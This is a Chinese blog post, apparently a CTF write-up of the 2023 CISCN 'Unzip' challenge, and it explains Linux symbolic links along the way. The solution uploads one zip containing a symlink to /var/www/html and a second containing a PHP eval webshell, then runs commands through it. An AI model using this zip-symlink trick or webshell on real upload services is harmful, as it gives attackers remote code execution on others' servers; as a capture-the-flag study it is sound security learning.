805 字
4 分钟
水题
随便写点水题
2023 ciscn(国赛) Unzip

打开环境是一个文件上传页面,先传个小🐎
出现源代码
<?phperror_reporting(0);highlight_file(__FILE__);
$finfo = finfo_open(FILEINFO_MIME_TYPE);if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){ //检查mime值是否为压缩包文件 exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]); //如果是的话解压到/tmp文件夹中};
//only this!源码逻辑很清晰,就是要我们上传一个里面带🐎的压缩包,但问题是我们没有访问/tmp的权限
这里就要用到linux中的一个知识点软连接
软链接 (Symbolic Link) 详解
1. 概念与作用
概念
软链接相当于 Windows 系统中的“快捷方式”或 macOS 中的“替身”。它是一个特殊的文件,其内容存储的是指向另一个文件或目录的路径。
- 与硬链接(Hard Link)的区别:
- 软链接: 是一个独立的文件,有自己的 inode。它指向目标文件的路径。如果目标文件被删除,软链接就会失效(成为“死链接”)。
- 硬链接: 只是目标文件的一个额外目录项。它指向目标文件的 inode。只要至少存在一个硬链接,文件内容就不会丢失。硬链接不能跨文件系统,也不能链接目录。
核心作用
- 方便访问: 允许你在不移动文件的情况下,在文件系统的不同位置创建对同一文件的引用。
- 跨文件系统引用: 软链接可以指向不同硬盘分区或不同文件系统上的文件或目录(硬链接不能)。
- 链接目录: 软链接可以链接到一个目录(硬链接不能链接目录)。
- 路径隐藏/简化: 可以在不改变应用配置的情况下,通过软链接更改应用实际读取的数据源。
2. 常规用法(创建)
创建软链接使用 ln 命令,必须加上 -s 选项(s 代表 symbolic)。
语法:
Bash
ln -s <目标文件或目录> <链接名>示例:
-
链接文件: 创建一个名为
my_link.txt的软链接,指向/home/user/data.txt:Bash
ln -s /home/user/data.txt my_link.txt -
链接目录: 创建一个名为
logs的软链接,指向/var/log/apache目录:Bash
ln -s /var/log/apache logs现在,你访问
logs/error.log就相当于访问/var/log/apache/error.log。
查看软链接:
使用 ls -l 或 ls -ld 命令,软链接的开头是 l,并会显示其指向的目标:
Bash
$ ls -ld logslrwxrwxrwx 1 user user 18 Dec 16 14:05 logs -> /var/log/apache# 'l' 代表链接,'->' 箭头后显示其目标路径。那么这道题的逻辑就变成了先上传一个带有软连接的压缩包,然后再上传一个带有🐎的压缩包,这样就可以将/tmp与根目录穿透,在根目录访问到我们上传的内存马来getshell了
下面开始复现
mkdir ciscn #创建一个文件夹存文件cd ciscnln -s /var/www/html link #创建一个软连接,打通根目录和/tmp目录zip --symlinks link.zip link #压缩打包软连接mkdir shell #再创一个文件夹写马cd shellecho '<?php @eval($_GET["cmd"]);?>' >cmd.phpcd ../zip -r link1.zip ./shell之后,先上传link.zip再上传link1.zip就可以访问cmd.php文件了
cmd.php?cmd=system('cat flag');部分信息可能已经过时









